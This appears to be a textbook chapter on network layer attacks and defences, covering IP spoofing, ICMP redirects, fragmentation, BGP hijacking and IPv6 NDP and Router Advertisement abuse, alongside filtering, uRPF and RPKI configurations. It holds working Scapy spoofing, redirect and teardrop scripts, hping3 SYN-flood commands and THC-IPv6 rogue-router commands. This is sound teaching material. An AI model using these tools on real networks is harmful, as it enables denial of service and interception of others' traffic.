Part II: Vulnerability Study Chapter 3

Network Layer Vulnerabilities

IP spoofing, ICMP attacks, BGP hijacking, IPv6 vulnerabilities, and network layer defense strategies

Chapter 3: Network Layer Vulnerabilities

The Day YouTube Disappeared

On February 24, 2008, YouTube vanished from the internet—not due to server failure, but because of a routing misconfiguration in Pakistan.

The Pakistani government had ordered ISPs to block YouTube within the country. Pakistan Telecom (AS17557) attempted to comply by creating an internal BGP route for YouTube’s IP space (208.65.153.0/24). But they made a critical error: this route was advertised to upstream provider PCCW, which propagated it globally.

Within minutes, traffic destined for YouTube was being routed to Pakistan—and into a black hole. The route was more specific (/24) than YouTube’s legitimate announcement (/22), so BGP’s longest-prefix-match rule preferred the fake route. YouTube was unreachable worldwide for nearly two hours.

This incident exposed a fundamental vulnerability: BGP, the protocol that routes all internet traffic, operates on trust. Any network can announce any IP prefix, and others will believe it. This chapter explores network layer vulnerabilities—from IP spoofing to BGP hijacking—and the defenses being developed to address them.

Network Layer Attack Surface

The network layer (Layer 3) handles addressing and routing—getting packets from source to destination across multiple networks. Its core protocols, designed in an era of implicit trust, contain significant security weaknesses:

Network Layer Attack Surface

Network Layer Attack Surface:
═══════════════════════════════════════════════════════════════════

                    ┌──────────────────────────────────────────┐
                    │           INTERNET ROUTING               │
                    │  ┌─────────────────────────────────────┐ │
                    │  │ BGP: Trust-based, no authentication │ │
                    │  │ → Hijacking, leaks, de-peering      │ │
                    │  └─────────────────────────────────────┘ │
                    └────────────────────┬─────────────────────┘
                                         │
┌────────────────────────────────────────┼────────────────────────────────────────┐
│                                        │                                        │
│  ┌─────────────────────┐    ┌──────────┴──────────┐    ┌─────────────────────┐  │
│  │      IP PROTOCOL    │    │     ICMP PROTOCOL   │    │   IPv6 SPECIFIC     │  │
│  │                     │    │                     │    │                     │  │
│  │ • No source auth    │    │ • Network recon     │    │ • Extension headers │  │
│  │ • Easy to spoof     │    │ • Redirect attacks  │    │ • NDP spoofing      │  │
│  │ • Fragment attacks  │    │ • DoS amplification │    │ • Tunneling abuse   │  │
│  └─────────────────────┘    └─────────────────────┘    └─────────────────────┘  │
│                                                                                 │
└─────────────────────────────────────────────────────────────────────────────────┘

MITRE ATT&CK Reference

Network layer attacks map to several ATT&CK techniques:

T1090 - Proxy/Connection Proxy

T1090.002 - External Proxy (BGP manipulation)

T1557 - Adversary-in-the-Middle

T1498 - Network Denial of Service

T1496 - Resource Hijacking

IP Address Spoofing

Attack Overview

IP spoofing involves forging the source IP address in packet headers. Since IP provides no authentication mechanism, any sender can claim any source address.

IP Spoofing Concept

IP Spoofing Concept:
═══════════════════════════════════════════════════════════════════

LEGITIMATE PACKET:
┌────────────────────────────────────────────────────────────────┐
│ IP Header                                                      │
│ ┌─────────────────┐ ┌─────────────────┐                        │
│ │ Source: 1.1.1.1 │ │ Dest: 2.2.2.2   │                        │
│ │ (Real sender)   │ │ (Real target)   │                        │
│ └─────────────────┘ └─────────────────┘                        │
└────────────────────────────────────────────────────────────────┘

SPOOFED PACKET:
┌────────────────────────────────────────────────────────────────┐
│ IP Header                                                      │
│ ┌─────────────────┐ ┌─────────────────┐                        │
│ │ Source: 3.3.3.3 │ │ Dest: 2.2.2.2   │                        │
│ │ (FORGED!)       │ │ (Real target)   │                        │
│ └─────────────────┘ └─────────────────┘                        │
└────────────────────────────────────────────────────────────────┘

Attacker (1.1.1.1) claims to be 3.3.3.3

Use Cases for Spoofing

IP spoofing enables several attack types:

Use Case	Description	Bidirectional Needed?
Reflection/Amplification DDoS	Spoof victim as source, send to amplifiers	No
Bypassing IP-based access controls	Pretend to be trusted source	No (but limited use)
TCP session hijacking	Inject packets into existing connection	Blind (one-way)
SYN floods	Exhaust target resources with fake connections	No
Anonymizing attacks	Hide true origin of attack traffic	No

Practical Implementation

Using Scapy (Python):

#!/usr/bin/env python3
"""
IP Spoofing Demonstration - AUTHORIZED USE ONLY
Shows how to craft packets with arbitrary source IP
"""
from scapy.all import IP, ICMP, TCP, send, conf
import argparse

def spoof_icmp(target, spoofed_source):
    """
    Send ICMP echo request with spoofed source IP
    Response will go to spoofed_source, not us
    """
    packet = IP(src=spoofed_source, dst=target) / ICMP()
    
    print(f"[*] Sending spoofed ICMP to {target}")
    print(f"[*] Spoofed source: {spoofed_source}")
    print(f"[*] Reply will go to {spoofed_source}, not to us")
    
    send(packet, verbose=True)

def spoof_syn(target, target_port, spoofed_source):
    """
    Send TCP SYN with spoofed source (SYN flood component)
    """
    packet = (
        IP(src=spoofed_source, dst=target) /
        TCP(sport=12345, dport=target_port, flags='S', seq=1000)
    )
    
    print(f"[*] Sending spoofed SYN to {target}:{target_port}")
    print(f"[*] Spoofed source: {spoofed_source}")
    
    send(packet, verbose=True)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="IP Spoofing Demo")
    parser.add_argument("target", help="Target IP")
    parser.add_argument("spoofed", help="IP to spoof as source")
    parser.add_argument("-p", "--port", type=int, default=80, help="Target port")
    parser.add_argument("-t", "--type", choices=['icmp', 'syn'], default='icmp')
    args = parser.parse_args()
    
    print("[!] IP Spoofing - Educational Use Only!")
    print("[!] Only use on networks you own or have authorization to test\n")
    
    if args.type == 'icmp':
        spoof_icmp(args.target, args.spoofed)
    else:
        spoof_syn(args.target, args.port, args.spoofed)

Using hping3:

# Spoofed ICMP ping - reply goes to spoofed source
sudo hping3 -1 -a 10.0.0.100 192.168.1.1
# -1 = ICMP, -a = spoof source address

# Spoofed SYN flood
sudo hping3 -S -a 10.0.0.100 -p 80 --flood 192.168.1.1
# -S = SYN flag, --flood = fast as possible

# Random source addresses for each packet
sudo hping3 -S --rand-source -p 80 --flood 192.168.1.1

Detection

Network-Level Detection:

# Look for impossible source addresses
# (RFC 1918 addresses from external interface)
# Martian addresses in logs

# Cisco IOS - Check for spoofed packets
show ip traffic | include martian

IDS/Firewall Rules:

# Snort/Suricata - Detect impossible sources
alert ip any any -> $EXTERNAL_NET any (msg:"Spoofed Internal IP from External"; 
    flow:to_server; threshold:type limit, track by_src, count 1, seconds 60;
    sid:1000010; rev:1;)

# Detection indicators:
# - Internal IPs from external interface
# - Broadcast addresses as source
# - Loopback addresses externally
# - Destination as source

Mitigation

Ingress/Egress Filtering (BCP 38/RFC 2827):

Ingress Filtering ISP Edge Router

Ingress Filtering - ISP Edge Router:
═══════════════════════════════════════════════════════════════════

                         Internet
                             │
                    ┌────────┴─────────┐
                    │    ISP Router    │
                    │                  │
                    │ IF source NOT in │
                    │ customer's block │
                    │ THEN drop        │
                    └────────┬─────────┘
                             │
                 Customer Network (10.1.0.0/16)
                 
Only packets with source 10.1.0.0/16 allowed OUT
Prevents customer from spoofing other addresses

Cisco IOS Configuration:

! Ingress filtering on customer-facing interface
interface GigabitEthernet0/1
  description Customer Connection
  ip address 10.1.0.1 255.255.255.0
  ! Only allow sources from customer's network
  ip verify unicast source reachable-via rx
  ! Or explicit ACL
  ip access-group ANTISPOOFING in

! ACL for anti-spoofing
ip access-list extended ANTISPOOFING
  permit ip 10.1.0.0 0.0.255.255 any
  deny ip any any log

uRPF (Unicast Reverse Path Forwarding):

! Enable uRPF on external interfaces
interface GigabitEthernet0/0
  ip verify unicast source reachable-via rx
  ! rx = strict mode (packet must arrive on interface with route to source)
  ! any = loose mode (route to source must exist somewhere)

PRO TIP

Strict uRPF can break asymmetric routing. Use loose mode in complex topologies and strict mode at network edges where routing is predictable.

ICMP Attacks

ICMP Attack Categories

ICMP (Internet Control Message Protocol) provides essential network functions but can be abused for reconnaissance, denial of service, and redirection attacks.

ICMP Attack Types

ICMP Attack Types:
═══════════════════════════════════════════════════════════════════

┌─────────────────┬────────────────────┬──────────────────────────┐
│   CATEGORY      │      ATTACK        │       ICMP TYPE          │
├─────────────────┼────────────────────┼──────────────────────────┤
│ Reconnaissance  │ Host discovery     │ Type 8 (Echo Request)    │
│                 │ Path discovery     │ Type 11 (Time Exceeded)  │
│                 │ OS fingerprinting  │ Various responses        │
├─────────────────┼────────────────────┼──────────────────────────┤
│ Denial of       │ Ping of Death      │ Oversized Type 8         │
│ Service         │ Smurf attack       │ Broadcast Type 8         │
│                 │ ICMP flood         │ Type 8 flood             │
├─────────────────┼────────────────────┼──────────────────────────┤
│ Redirection     │ ICMP Redirect      │ Type 5 (Redirect)        │
│                 │ Route manipulation │ Type 5, subtype 0-3      │
├─────────────────┼────────────────────┼──────────────────────────┤
│ Covert Channel  │ Data exfiltration  │ Type 0/8 (payload)       │
│                 │ C2 communication   │ Any type (encoding)      │
└─────────────────┴────────────────────┴──────────────────────────┘

ICMP Redirect Attack

ICMP Redirect tells a host to use a different gateway for a specific destination. An attacker can use this to redirect traffic.

ICMP Redirect Attack

ICMP Redirect Attack:
═══════════════════════════════════════════════════════════════════

NORMAL ROUTING:
Victim ────────► Gateway ────────► Internet ────────► Server
(10.0.0.100)    (10.0.0.1)                           (1.2.3.4)

ATTACK:
1. Attacker sends ICMP Redirect:
   "For 1.2.3.4, use gateway 10.0.0.50" (attacker's IP)

2. Victim updates routing table

3. NEW PATH:
Victim ────────► Attacker ────────► Gateway ────────► Server
(10.0.0.100)    (10.0.0.50)        (10.0.0.1)        (1.2.3.4)
                 (MITM!)

Using Scapy:

#!/usr/bin/env python3
"""
ICMP Redirect Attack - AUTHORIZED USE ONLY
Redirects victim's traffic through attacker
"""
from scapy.all import IP, ICMP, send

def icmp_redirect(victim_ip, target_dst, fake_gateway, real_gateway):
    """
    Send ICMP redirect to victim
    
    Args:
        victim_ip: IP of machine to redirect
        target_dst: Destination IP to redirect
        fake_gateway: Gateway to use (attacker)
        real_gateway: Appears to come from real gateway
    """
    # ICMP Redirect packet
    # Type 5, Code 1 = Redirect for Host
    packet = (
        IP(src=real_gateway, dst=victim_ip) /
        ICMP(type=5, code=1, gw=fake_gateway) /
        IP(src=victim_ip, dst=target_dst)  # Original packet header
    )
    
    print(f"[*] Sending ICMP Redirect to {victim_ip}")
    print(f"[*] Redirecting traffic for {target_dst} via {fake_gateway}")
    
    send(packet, verbose=True)

if __name__ == "__main__":
    import sys
    
    print("[!] ICMP Redirect Attack - Educational Use Only!")
    print("[!] Enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward")
    
    # Example: Redirect victim's traffic to server.com through us
    # icmp_redirect("192.168.1.100", "93.184.216.34", "192.168.1.50", "192.168.1.1")

Smurf Attack (Historical)

The Smurf attack used broadcast amplification to overwhelm targets. While largely mitigated, understanding it illustrates amplification principles.

Smurf Attack Flow

Smurf Attack Flow:
═══════════════════════════════════════════════════════════════════

1. Attacker sends ICMP Echo Request to broadcast address
   Source IP = Victim's IP (SPOOFED)
   Destination = 10.0.0.255 (broadcast)

2. Every host on network responds to victim

Attacker ──────► Broadcast Network ──────► Victim
(spoofed src)      100 hosts              100 replies!
                   respond
                   
Amplification factor = number of hosts on broadcast network

Detection and Mitigation

Disable ICMP Redirect Acceptance:

# Linux - Disable ICMP redirects
echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects

# Permanent (sysctl.conf)
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0

Router Configuration:

! Cisco IOS - Disable ICMP redirects
interface GigabitEthernet0/0
  no ip redirects
  
! Rate limit ICMP
ip icmp rate-limit unreachable 500

Firewall Rules:

# iptables - Block ICMP redirects
iptables -A INPUT -p icmp --icmp-type redirect -j DROP
iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP

# Rate limit ping
iptables -A INPUT -p icmp --icmp-type echo-request \
  -m limit --limit 1/s --limit-burst 4 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

IP Fragmentation Attacks

Overview

IP fragmentation allows large packets to be split for transmission across networks with smaller MTUs. Attackers can abuse this for evasion and denial of service.

IP Fragment Structure

IP Fragment Structure:
═══════════════════════════════════════════════════════════════════

Original Packet (4000 bytes):
┌───────────┬────────────────────────────────────────────────────┐
│ IP Header │                    Data                            │
│   20B     │                   3980B                            │
└───────────┴────────────────────────────────────────────────────┘

Fragmented (MTU 1500):
Fragment 1:                    Fragment 2:                Fragment 3:
┌──────┬───────────────┐      ┌───────┬──────────────┐    ┌───────┬──────┐
│IP Hdr│    Data       │      │IP Hdr │    Data      │    │IP Hdr │ Data │
│MF=1  │   1480B       │      │MF=1   │   1480B      │    │MF=0   │1020B │
│Off=0 │               │      │Off=185│              │    │Off=370│      │
└──────┴───────────────┘      └───────┴──────────────┘    └───────┴──────┘

MF = More Fragments flag
Off = Fragment Offset (in 8-byte units)

Fragmentation Attack Types

Teardrop Attack (Historical): Overlapping fragments cause crash during reassembly.

from scapy.all import IP, ICMP, send

def teardrop(target):
    """
    Teardrop - overlapping fragments (historical, mostly patched)
    """
    # First fragment
    frag1 = IP(dst=target, flags='MF', frag=0) / ('X' * 100)
    
    # Second fragment overlaps first
    frag2 = IP(dst=target, frag=8) / ('Y' * 100)  # Overlaps!
    
    send(frag1)
    send(frag2)

Tiny Fragment Attack: TCP header split across fragments to evade firewalls.

Tiny Fragment Attack

Tiny Fragment Attack:
═══════════════════════════════════════════════════════════════════

Normal TCP Packet:
┌─────────────────┬──────────────────┬────────────────────────────┐
│ IP Header (20B) │ TCP Header (20B) │ Data                       │
│                 │ Src Port: 12345  │                            │
│                 │ Dst Port: 80     │                            │
│                 │ Flags: SYN       │                            │
└─────────────────┴──────────────────┴────────────────────────────┘
                  ▲
                  Firewall checks this and blocks if needed

Tiny Fragment Attack:
Fragment 1 (24 bytes):              Fragment 2:
┌───────────┬────────────────┐      ┌────────────┬─────────────────┐
│ IP Header │ TCP (4 bytes)  │      │ IP Header  │ TCP (16B) + Data│
│ MF=1      │ Src Port only  │      │ Frag offset│ DST PORT + flags│
│ Frag=0    │                │      │            │                 │
└───────────┴────────────────┘      └────────────┴─────────────────┘
             ▲
             Firewall can't see dst port/flags!
             May allow through for reassembly

Mitigation

! Cisco IOS - Block tiny fragments
access-list 101 deny ip any any fragments
! Note: May impact legitimate traffic

! Better: Virtual Fragment Reassembly
ip virtual-reassembly

! Modern approach: Stateful inspection
! Reassemble before inspection

Linux:

# Tune fragment handling
echo 30 > /proc/sys/net/ipv4/ipfrag_time  # Timeout (seconds)
echo 4194304 > /proc/sys/net/ipv4/ipfrag_high_thresh  # Max memory

# Drop fragments with iptables
iptables -A INPUT -f -j DROP

BGP Hijacking

Attack Overview

BGP hijacking occurs when a network announces IP prefixes it doesn’t own, causing traffic to be misrouted globally. This can be accidental (misconfiguration) or malicious (interception, DoS).

BGP Hijacking Types

BGP Hijacking Types:
═══════════════════════════════════════════════════════════════════

TYPE 1: PREFIX HIJACK (Exact Match)
────────────────────────────────────
Legitimate: AS100 announces 192.0.2.0/24
Attacker:   AS666 announces 192.0.2.0/24

Result: Traffic split based on AS path length
        Some routes prefer attacker's announcement

TYPE 2: SUB-PREFIX HIJACK (More Specific)
─────────────────────────────────────────
Legitimate: AS100 announces 192.0.2.0/24
Attacker:   AS666 announces 192.0.2.0/25 (more specific!)

Result: Longest prefix match → ALL traffic to attacker
        This is what happened to YouTube

TYPE 3: AS PATH MANIPULATION
────────────────────────────
Legitimate: AS100 → AS200 → 192.0.2.0/24 (path length 2)
Attacker:   AS666 → 192.0.2.0/24 (path length 1)

Result: Shorter path wins, traffic to attacker

Real-World BGP Incidents

Year	Date	Incident	Impact
2008	Feb 24	Pakistan Telecom (AS17557) / YouTube	Global YouTube outage (~2 hours). Pakistan government ordered YouTube block; route leaked to PCCW, propagated globally.
2010	Apr 8	China Telecom (AS4134)	~37,000 prefixes (15% of routes) hijacked for 18 minutes. Affected U.S. government, military, and commercial sites.
2017	Dec 12	Rostelecom (AS12389) / Russia	Traffic for Google, Apple, Facebook, Microsoft, and ~80 prefixes routed through Russia for 12 minutes.
2018	Apr 24	eNet (AS10297) / Amazon Route53	DNS traffic hijacked to steal ~$150,000 in Ethereum from MyEtherWallet users.
2019	Jun 6	China Telecom (AS4134) / European ISPs	Traffic from Swisscom, KPN, Bouygues Telecom routed through China for over 2 hours.
2022	Mar 28	RTComm (AS8342) / Twitter, Russia	Twitter prefixes briefly announced during Russia-Ukraine conflict, part of broader network interference.

BGP Interception (vs Hijacking)

Smart attackers maintain connectivity while intercepting:

BGP Interception Flow

BGP Interception Flow:
═══════════════════════════════════════════════════════════════════

SIMPLE HIJACK (Traffic blackholed):
User ────► (AS666 announces prefix) ────► Blackhole
                                          Traffic never reaches real destination

INTERCEPTION (Traffic forwarded):
User ────► AS666 ────► AS123 ────► Legitimate AS100
                │                        │
                └── Attacker inspects ───┘
                    and forwards
                    
How to maintain path to legitimate AS:
1. Announce to most peers
2. Don't announce to path toward legitimate AS
3. Traffic still routes to legitimate AS from attacker
4. Attacker can inspect/modify in transit

Detection

BGP Monitoring Tools:

Tool	Description	URL
RIPE RIS	Real-time BGP data	ris.ripe.net
BGPStream	Historical BGP data	bgpstream.com
Cloudflare Radar	BGP anomaly detection	radar.cloudflare.com
ThousandEyes	Commercial monitoring	thousandeyes.com
BGPalerter	Open source alerting	github.com/nttgin/BGPalerter

Setting Up Monitoring:

# Install BGPalerter
npm install -g bgpalerter

# Configure prefixes to monitor (prefixes.yml)
# Run monitoring
bgpalerter

# Example alert:
# ALERT: More specific prefix announced
# Your prefix: 203.0.113.0/24
# Hijacker: 203.0.113.0/25 from AS666

Mitigation: RPKI

Resource Public Key Infrastructure (RPKI) cryptographically validates BGP route origins.

RPKI Overview

RPKI Overview:
═══════════════════════════════════════════════════════════════════

WITHOUT RPKI:
Any AS can announce any prefix
BGP routers blindly trust announcements

WITH RPKI:
1. Prefix owner creates ROA (Route Origin Authorization)
   "AS100 is authorized to announce 192.0.2.0/24"
   
2. ROA signed with owner's RPKI certificate

3. BGP routers validate announcements against ROAs:
   - VALID: ROA exists, AS matches
   - INVALID: ROA exists, AS doesn't match → DROP
   - NOT FOUND: No ROA (legacy, typically accept)

┌─────────────────────────────────────────────────────────────────┐
│                        ROA Validation                           │
│                                                                 │
│  Announcement: AS666 → 192.0.2.0/24                             │
│  ROA says:     AS100 authorized for 192.0.2.0/24                │
│  Result:       INVALID → Route rejected                         │
└─────────────────────────────────────────────────────────────────┘

Configuring RPKI Validation (Cisco IOS-XR):

! Configure RPKI server connection
router bgp 65001
  rpki server 192.0.2.10
    transport tcp port 3323
    refresh-time 60
  !
  ! Drop invalid routes
  address-family ipv4 unicast
    bgp origin-as validation signal-ibgp
  !
  neighbor 10.0.0.1
    address-family ipv4 unicast
      route-policy RPKI-VALIDATION in
!
route-policy RPKI-VALIDATION
  if validation-state is invalid then
    drop
  endif
  pass
end-policy

Additional BGP Security

Prefix Filtering:

! Accept only expected prefixes from customer
ip prefix-list CUSTOMER-PREFIXES permit 203.0.113.0/24
!
route-map CUSTOMER-IN permit 10
  match ip address prefix-list CUSTOMER-PREFIXES
route-map CUSTOMER-IN deny 100
!
router bgp 65001
  neighbor 10.0.0.1 route-map CUSTOMER-IN in

Maximum Prefix Limits:

! Protect against prefix explosion
router bgp 65001
  neighbor 10.0.0.1 maximum-prefix 100 warning-only

BGP TTL Security (GTSM):

! Only accept BGP from directly connected peers
router bgp 65001
  neighbor 10.0.0.1 ttl-security hops 1

IPv6-Specific Vulnerabilities

NDP Spoofing (IPv6 ARP Spoofing)

IPv6 uses Neighbor Discovery Protocol (NDP) instead of ARP. It has similar vulnerabilities.

NDP Spoofing

NDP Spoofing:
═══════════════════════════════════════════════════════════════════

IPv6 Neighbor Discovery:
- Neighbor Solicitation (NS) = ARP Request
- Neighbor Advertisement (NA) = ARP Reply
- Uses ICMPv6 (not separate protocol like ARP)

ATTACK:
Same as ARP spoofing but with ICMPv6 NA messages

Victim ◄──── Fake NA: "Gateway fe80::1 is at attacker-MAC" ───┤
                                                              │
Gateway ◄── Fake NA: "Victim fe80::2 is at attacker-MAC" ─────┤
                                                              │
                                                          Attacker

Using THC-IPv6:

# Install THC-IPv6 toolkit
apt install thc-ipv6

# NDP spoofing (like arpspoof for IPv6)
sudo parasite6 eth0

# Or targeted
sudo fake_advertise6 eth0 <target-ipv6> <gateway-ipv6>

Router Advertisement Attacks

IPv6 hosts auto-configure using Router Advertisements (RA). Malicious RAs can hijack traffic.

RA Attack Scenarios

RA Attack Scenarios:
═══════════════════════════════════════════════════════════════════

ATTACK 1: FAKE DEFAULT ROUTER
─────────────────────────────
Attacker sends RA: "I'm the default router"
Victims: Update default gateway to attacker

ATTACK 2: SLAAC MANIPULATION
────────────────────────────
Attacker sends RA with malicious prefix
Victims: Auto-configure address in attacker's prefix

ATTACK 3: DNS HIJACKING VIA RA
──────────────────────────────
RA can include RDNSS option (DNS server)
Attacker sends RA with malicious DNS
Victims: Use attacker's DNS server

Using THC-IPv6:

# Become default router
sudo fake_router6 eth0 fe80::1

# With DNS hijacking
sudo fake_router6 eth0 fe80::1 -D <dns-server>

IPv6 Extension Header Abuse

IPv6 extension headers can evade security controls.

Extension Header Evasion

Extension Header Evasion:
═══════════════════════════════════════════════════════════════════

IPv6 header chain:
┌────────┬────────┬────────┬─────────┬─────────┐
│ IPv6   │ Hop-by │ Routing│ Fragment│ TCP     │
│ Header │ -Hop   │ Header │ Header  │ Header  │
└────────┴────────┴────────┴─────────┴─────────┘
    │
    └── Firewalls may not parse entire chain
        Headers can hide true destination/payload

IPv6 Mitigation

RA Guard (Cisco):

! Block rogue RAs on access ports
interface GigabitEthernet0/1
  switchport mode access
  ipv6 nd raguard

! Trust router port
interface GigabitEthernet0/24
  ipv6 nd raguard router

SEND (Secure NDP):

! Enable SEND (requires PKI)
ipv6 nd secured

Linux RA filtering:

# Ignore RAs on interface
echo 0 > /proc/sys/net/ipv6/conf/eth0/accept_ra

# Use firewall
ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j DROP

Lab Exercise: Network Layer Attack Chain

Objective

Demonstrate IP spoofing detection and BGP monitoring concepts.

Environment

Lab Network

Lab Network:
├── Attacker: Kali Linux (192.168.1.50)
├── Target: Ubuntu Server (192.168.1.100)
├── Router/Firewall: pfSense (192.168.1.1)
└── Monitoring: Security Onion or Wireshark

Exercise 1: IP Spoofing Detection

# On Attacker (Kali):
# Send spoofed packets
sudo hping3 -1 -a 192.168.1.200 192.168.1.100 -c 5

# On Target (capture):
sudo tcpdump -i eth0 icmp -nn

# Observe: ICMP from 192.168.1.200 (which doesn't exist)
# Detection: Compare source IP against actual network assignments

Exercise 2: ICMP Redirect Observation

# Capture ICMP redirects
sudo tcpdump -i eth0 'icmp[icmptype] = 5' -nn -v

# Generate redirect (on router):
# Enable redirects and trigger with routing change

# Defense: Verify redirect acceptance is disabled
cat /proc/sys/net/ipv4/conf/all/accept_redirects

Exercise 3: BGP Monitoring Setup

# Install BGPalerter
npm install -g bgpalerter

# Create config for your prefixes
# Monitor for anomalies via RIPE RIS data stream

# Educational: Explore BGP data at
# https://stat.ripe.net/
# https://bgpstream.com/

Key Takeaways

IP spoofing is trivial without egress filtering—ISPs should implement BCP 38
ICMP attacks range from reconnaissance to DoS to traffic redirection—rate limit and filter appropriately
BGP hijacking can redirect internet traffic globally—RPKI provides cryptographic validation
IPv6 introduces new attack surfaces with NDP, RA, and extension headers—apply IPv6-specific security controls
Defense requires multiple layers: filtering, monitoring, cryptographic validation, and proper configuration

Self-Assessment

Comprehension: Why does longest-prefix-match make sub-prefix BGP hijacking so effective?
Application: A host is receiving ICMP redirects changing its default gateway. How would you detect and prevent this?
What if: Your organization’s IP prefix appears in BGP from an unauthorized AS. What immediate steps would you take?

Review Questions

What is IP spoofing and what attacks does it enable?
How does ingress/egress filtering (BCP 38) prevent spoofing?
Explain the difference between BGP hijacking and BGP interception.
How does RPKI validate BGP route origins?
What makes NDP spoofing similar to ARP spoofing?
How can Router Advertisement attacks compromise IPv6 hosts?

MITRE ATT&CK Mapping

Attack	Technique ID	Tactic
IP Spoofing	T1090.002	Command and Control
ICMP Redirect	T1557	Credential Access
BGP Hijacking	T1557	Collection
IPv6 NDP Spoofing	T1557.002	Credential Access
Fragmentation Evasion	T1027	Defense Evasion